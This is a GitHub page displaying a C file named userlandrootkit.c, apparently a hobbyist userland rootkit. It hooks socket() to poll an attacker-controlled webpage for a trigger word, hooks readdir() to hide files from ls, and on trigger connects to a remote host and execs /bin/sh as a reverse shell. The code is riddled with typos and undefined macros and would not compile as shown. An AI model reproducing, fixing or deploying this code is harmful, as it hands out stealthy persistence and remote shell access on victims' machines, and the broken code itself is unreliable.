-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathuserlandrootkit.c
161 lines (121 loc) · 3.49 KB
/
userlandrootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <dlfcn.h>
#include <dirent.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <regex.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>
#define REMOTE_HOST
#define REMOTE_PORT
#define BIND_PORT
#define ATTACKER_WEBSITE
/*overwrite socket syscall to check website for triggerword*/
int socket(int domain, int type, int protocol){
int (*new_socket)(int domain, int type, int protocol);
new_socket=dlysm(RTLD_NEXT, "socket");
connect();
}
/*looks for keyword in attcker owned webpage which will trigger a connection (use pastebin or some google site) */
int connect(void)
{
int port_num = 80;
char *host = ATTACKER_WEBSITE;
char *message_fmt ="GET /home\r\n\r\n";
struct hostent *server;
struct sockadd_in serv_addr;
int sockfd, bytes, sent, received, total;
char message[4096], response[4096];
//create socket
socketfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd<0) error("cant open socket");
/*find ip address*/
server = gethostbyname(host);
if(server ==NULL) error("ERROR, no such host");
memset(&serv_addr,0,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port_num);
memcpy(&serv_addr.sin_addr.s_addr,server->h_addr,server->h_length);
//conneeeeccct
connect(socketfd, (struct sockaddr *)&serv_addr, sizeof((serv_addr));
/*send request*/
sent =0;
do
{
bytes =write(sockfd, message+sent, total-sent);
if(bytes<0)
error("Error sending request");
sent+bytes;
} while(sent<total);
memset(response, 0, sizeof(response));
total = sizeof(response) -1;
recieved =0;
do{
bytes = read(sockfd, response+received, total-sent);
if(recieved==total)
error("Not enough space in buffer");
} while (recieved<total);
close(sockfd);
/*regex resposne to find trigger word*/
regex_t regex;
char[] trigger_word; //word to trigger connection to attacker
int status;
status=regcomp(®ex, trigger_word , 0); //successfully found trigger word
if(status ==0)
ipv6();
return 0;
}
/*hook write */
ssize_t write(int fildes, const void *buf, size_t nbytes)
{
ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
ssize_t result;
new_write = dlsym(RTLD_NEXT, "write");
}
/*hook readdir() to hide from ls*/
static struct dirent *(*old_readdir)(DIR * dir);
readdir(DIR * dirp)
{
struct dirent *dir;
int num = dlsym(RTLD_LAZY, "readdir");
while(dir =old_readdir(dirp))
{
if((dir=NULL) && !(strcmp(dir->d_name, ".\0"))
break;
}
return dir;
}
/*ipv6 bind shell*/
/*ipv6 reverse shell */
int ipv6(void)
{
//imagine hardcoding your IP address
char[] ip_address = "127.0.0.1";
int s= socket(AF_INET6, SOCK_STREAM, 0);
//create socket address
struct sockaddr_in6 host_port;
host_socket.sin6_family = AF_INET6;
host_socket.sin6_port = htons(REMOTE_PORT);
host_socket.sin6_addr.sin6_addr = REMOTE_HOST;
//get current IP address
struct ifreq ifr;
ifr.ifr_addr.sa_family = AF_INET6;
iotctl(s, SIOCGIFADDR, &ifr);
struct sockaddr_in6 client_port;
host_socket.sin6_family = AF_INET6;
host_socket.sin6_port = htons(BIND_PORT);
host_socket.sin6_addr.sin6_addr = inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;
bind(s, (struct sockaddr*)&client_port, sizeof(client_port));
connect(s,(struct) sockadd_in6*)&host_socket, sizeof(host_socket));
exceve("/bin/sh", NULL, NULL);
close(s);
return 0;
}